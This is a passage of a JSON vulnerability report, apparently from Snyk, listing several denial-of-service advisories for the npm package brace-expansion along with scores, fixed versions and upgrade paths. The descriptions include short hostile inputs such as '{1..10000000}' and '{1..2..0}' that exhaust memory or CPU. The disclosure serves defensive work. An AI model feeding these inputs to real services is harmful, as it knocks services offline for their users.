"isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 